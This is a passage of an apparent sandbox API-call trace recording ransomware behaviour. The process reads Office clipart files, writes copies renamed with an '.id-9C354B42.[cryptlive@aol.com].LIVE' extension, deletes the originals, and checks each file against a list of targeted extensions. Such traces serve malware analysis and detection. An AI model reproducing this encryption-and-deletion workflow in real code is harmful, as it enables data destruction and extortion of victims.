lpNumberOfBytesRead=0x2c4fed4*=0x9fc, lpOverlapped=0x0) returned 1 [0137.491] WriteFile (in: hFile=0x328, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0137.492] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.492] WriteFile (in: hFile=0x328, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.492] SetEndOfFile (hFile=0x328) returned 1 [0137.492] CloseHandle (hObject=0x328) returned 1 [0137.492] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.492] SetEndOfFile (hFile=0x384) returned 1 [0137.494] CloseHandle (hObject=0x384) returned 1 [0137.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0137.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.540] lstrlenW (lpString=".doc") returned 4 [0137.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.540] lstrlenW (lpString=".docx") returned 5 [0137.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.540] lstrlenW (lpString=".pdf") returned 4 [0137.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.540] lstrlenW (lpString=".xls") returned 4 [0137.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.540] lstrlenW (lpString=".xlsx") returned 5 [0137.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.540] lstrlenW (lpString=".ppt") returned 4 [0137.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.540] lstrlenW (lpString=".zip") returned 4 [0137.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.540] lstrlenW (lpString=".rar") returned 4 [0137.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString=".bz2") returned 4 [0137.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString=".7z") returned 3 [0137.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.541] lstrlenW (lpString=".dbf") returned 4 [0137.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.541] lstrlenW (lpString=".1cd") returned 4 [0137.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.541] lstrlenW (lpString=".jpg") returned 4 [0137.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.541] lstrlenW (lpString=".doc") returned 4 [0137.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString=".docx") returned 5 [0137.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.541] lstrlenW (lpString=".pdf") returned 4 [0137.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString=".xls") returned 4 [0137.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.541] lstrlenW (lpString=".xlsx") returned 5 [0137.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.541] lstrlenW (lpString=".ppt") returned 4 [0137.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.541] lstrlenW (lpString=".zip") returned 4 [0137.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.541] lstrlenW (lpString=".rar") returned 4 [0137.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString=".bz2") returned 4 [0137.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.541] lstrlenW (lpString=".7z") returned 3 [0137.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.542] lstrlenW (lpString=".dbf") returned 4 [0137.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.542] lstrlenW (lpString=".1cd") returned 4 [0137.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0137.542] lstrlenW (lpString=".jpg") returned 4 [0137.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.542] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.542] lstrlenW (lpString="BL00390_.WMF") returned 12 [0137.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0137.584] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=13102) returned 1 [0137.584] CloseHandle (hObject=0x1e4) returned 1 [0137.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0137.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0137.806] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.806] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0139.092] GetLastError () returned 0x0 [0139.092] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x332e, lpOverlapped=0x0) returned 1 [0139.094] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3330, lpOverlapped=0x0) returned 1 [0139.095] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.095] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.095] SetEndOfFile (hFile=0x1dc) returned 1 [0139.095] CloseHandle (hObject=0x1dc) returned 1 [0139.095] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.096] SetEndOfFile (hFile=0x3a8) returned 1 [0139.099] CloseHandle (hObject=0x3a8) returned 1 [0139.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0139.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.101] lstrlenW (lpString=".doc") returned 4 [0139.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.101] lstrlenW (lpString=".docx") returned 5 [0139.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.101] lstrlenW (lpString=".pdf") returned 4 [0139.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.102] lstrlenW (lpString=".xls") returned 4 [0139.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.102] lstrlenW (lpString=".xlsx") returned 5 [0139.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.102] lstrlenW (lpString=".ppt") returned 4 [0139.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.102] lstrlenW (lpString=".zip") returned 4 [0139.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.102] lstrlenW (lpString=".rar") returned 4 [0139.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.102] lstrlenW (lpString=".bz2") returned 4 [0139.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.102] lstrlenW (lpString=".7z") returned 3 [0139.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.102] lstrlenW (lpString=".dbf") returned 4 [0139.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.102] lstrlenW (lpString=".1cd") returned 4 [0139.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.102] lstrlenW (lpString=".jpg") returned 4 [0139.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.102] lstrlenW (lpString=".doc") returned 4 [0139.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.102] lstrlenW (lpString=".docx") returned 5 [0139.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.102] lstrlenW (lpString=".pdf") returned 4 [0139.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.102] lstrlenW (lpString=".xls") returned 4 [0139.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.102] lstrlenW (lpString=".xlsx") returned 5 [0139.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.103] lstrlenW (lpString=".ppt") returned 4 [0139.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.103] lstrlenW (lpString=".zip") returned 4 [0139.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.103] lstrlenW (lpString=".rar") returned 4 [0139.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.103] lstrlenW (lpString=".bz2") returned 4 [0139.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.103] lstrlenW (lpString=".7z") returned 3 [0139.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.103] lstrlenW (lpString=".dbf") returned 4 [0139.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.103] lstrlenW (lpString=".1cd") returned 4 [0139.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0139.103] lstrlenW (lpString=".jpg") returned 4 [0139.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.103] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.103] lstrlenW (lpString="BS00092_.WMF") returned 12 [0139.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0139.186] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7974) returned 1 [0139.186] CloseHandle (hObject=0x1dc) returned 1 [0139.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0139.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0139.186] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.186] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0139.626] GetLastError () returned 0x0 [0139.626] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1f26, lpOverlapped=0x0) returned 1 [0139.627] WriteFile (in: hFile=0x1e4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0139.629] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.629] WriteFile (in: hFile=0x1e4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.629] SetEndOfFile (hFile=0x1e4) returned 1 [0139.629] CloseHandle (hObject=0x1e4) returned 1 [0139.629] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.629] SetEndOfFile (hFile=0x1dc) returned 1 [0139.632] CloseHandle (hObject=0x1dc) returned 1 [0139.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.644] lstrlenW (lpString=".doc") returned 4 [0139.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.644] lstrlenW (lpString=".docx") returned 5 [0139.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.644] lstrlenW (lpString=".pdf") returned 4 [0139.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.644] lstrlenW (lpString=".xls") returned 4 [0139.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.644] lstrlenW (lpString=".xlsx") returned 5 [0139.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.644] lstrlenW (lpString=".ppt") returned 4 [0139.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.644] lstrlenW (lpString=".zip") returned 4 [0139.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.644] lstrlenW (lpString=".rar") returned 4 [0139.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.644] lstrlenW (lpString=".bz2") returned 4 [0139.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.644] lstrlenW (lpString=".7z") returned 3 [0139.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.644] lstrlenW (lpString=".dbf") returned 4 [0139.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.644] lstrlenW (lpString=".1cd") returned 4 [0139.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.644] lstrlenW (lpString=".jpg") returned 4 [0139.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.645] lstrlenW (lpString=".doc") returned 4 [0139.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.645] lstrlenW (lpString=".docx") returned 5 [0139.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.645] lstrlenW (lpString=".pdf") returned 4 [0139.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.645] lstrlenW (lpString=".xls") returned 4 [0139.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.645] lstrlenW (lpString=".xlsx") returned 5 [0139.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.645] lstrlenW (lpString=".ppt") returned 4 [0139.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.645] lstrlenW (lpString=".zip") returned 4 [0139.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.645] lstrlenW (lpString=".rar") returned 4 [0139.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.645] lstrlenW (lpString=".bz2") returned 4 [0139.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.645] lstrlenW (lpString=".7z") returned 3 [0139.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.645] lstrlenW (lpString=".dbf") returned 4 [0139.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.645] lstrlenW (lpString=".1cd") returned 4 [0139.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0139.645] lstrlenW (lpString=".jpg") returned 4 [0139.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.645] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.646] lstrlenW (lpString="BS00100_.WMF") returned 12 [0139.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0139.646] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2378) returned 1 [0139.646] CloseHandle (hObject=0x3b4) returned 1 [0139.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0139.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0139.647] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.647] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0139.647] GetLastError () returned 0x0 [0139.647] ReadFile (in: hFile=0x3b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x94a, lpOverlapped=0x0) returned 1 [0139.668] WriteFile (in: hFile=0x394, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x950, lpOverlapped=0x0) returned 1 [0139.669] ReadFile (in: hFile=0x3b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) 